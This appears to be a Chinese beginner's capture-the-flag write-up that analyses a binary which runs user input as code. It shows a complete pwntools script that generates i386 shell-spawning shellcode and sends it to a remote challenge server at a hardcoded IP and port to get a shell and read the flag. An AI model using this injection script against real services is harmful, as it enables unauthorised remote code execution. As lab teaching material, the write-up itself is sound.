欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页

通过用shellcode获取shell

程序员文章站 2022-03-24 09:16:13
...

通过用shellcode获取shell

题目来源
题目要求:用pwntools生成shellcode进而获取shell权限夺得flag

题目解题大概思路

下载题目文件
在终端运行程序,查看题目文件类型和保护机制
用对应位数的IDA来打开题目文件
看题目的条件和内容
写python文件
运行python文件得到flag

1.终端运行程序,查看题目文件类型和保护机制

运行文件(好像不能输入数据)通过用shellcode获取shell

度娘一下: 出现段错误简单来说就是访问到了不该访问的内存 这些内存不属于用户态的权限范围

查看文件(checksec保护机制)

通过用shellcode获取shell

2.反汇编分析

把程序拉IDA里面分析,F5一键反汇编

通过用shellcode获取shell

程序先输出“input your shellcode”(应该就是我们运行文件里面那一句)

然后调用read函数

这里是我们可以调用read函数向buf里面写入东西

最后一行 ((void (*)(void))buf)()就是调用了buf的函数(一开始没有认真看这一行导致没有做题的思路)

也就是我们把shellcode写进buf中,程序就会调用我们所写的shellcode

3.编写脚本

要远程攻击服务器,要有相应的ip和端口(可以先进行本地攻击)

通过用shellcode获取shell

编写脚本(还不熟悉,就照葫芦画瓢地打)

通过用shellcode获取shell

#-*- coding: utf-8 -*-
#说明Python源程序文件用使用的编码类型改为UTF-8的类型

from pwn import *
#导入pwntools

context(log_level='debug',os='linux',arch='i386')

p = process("./shellcode")
#载入程序

p = remote("49.234.71.236",28228)
#链接远程服务器

shellcode = asm(shellcraft.i386.linux.sh())
#生成shellcode

p.recvuntil("shellcode\n")
#接收程序显示出来的字符串,直至运行到read函数

p.sendline(shellcode)
#向程序输入一行数据(shellcode)

p.interactive()
#将程序控制权交给用户,相当于自用运行

4.运行脚本

在终端用python运行我们写好的脚本

通过用shellcode获取shell

获取了shell的权限后,用ls列出所有目录,再用cat flag来夺旗

通过用shellcode获取shell

把flag输入,就成功了,感动QAQ

总结

1.checksec保护机制

2.用pwntools生成shellcode

3.read函数可以为我们往buf写入数据,同时运行了buf,我们把shellcode写进buf,程序会帮我们调用shellcode

4.对recvuntil函数的使用

5.用remote函数链接远端服务器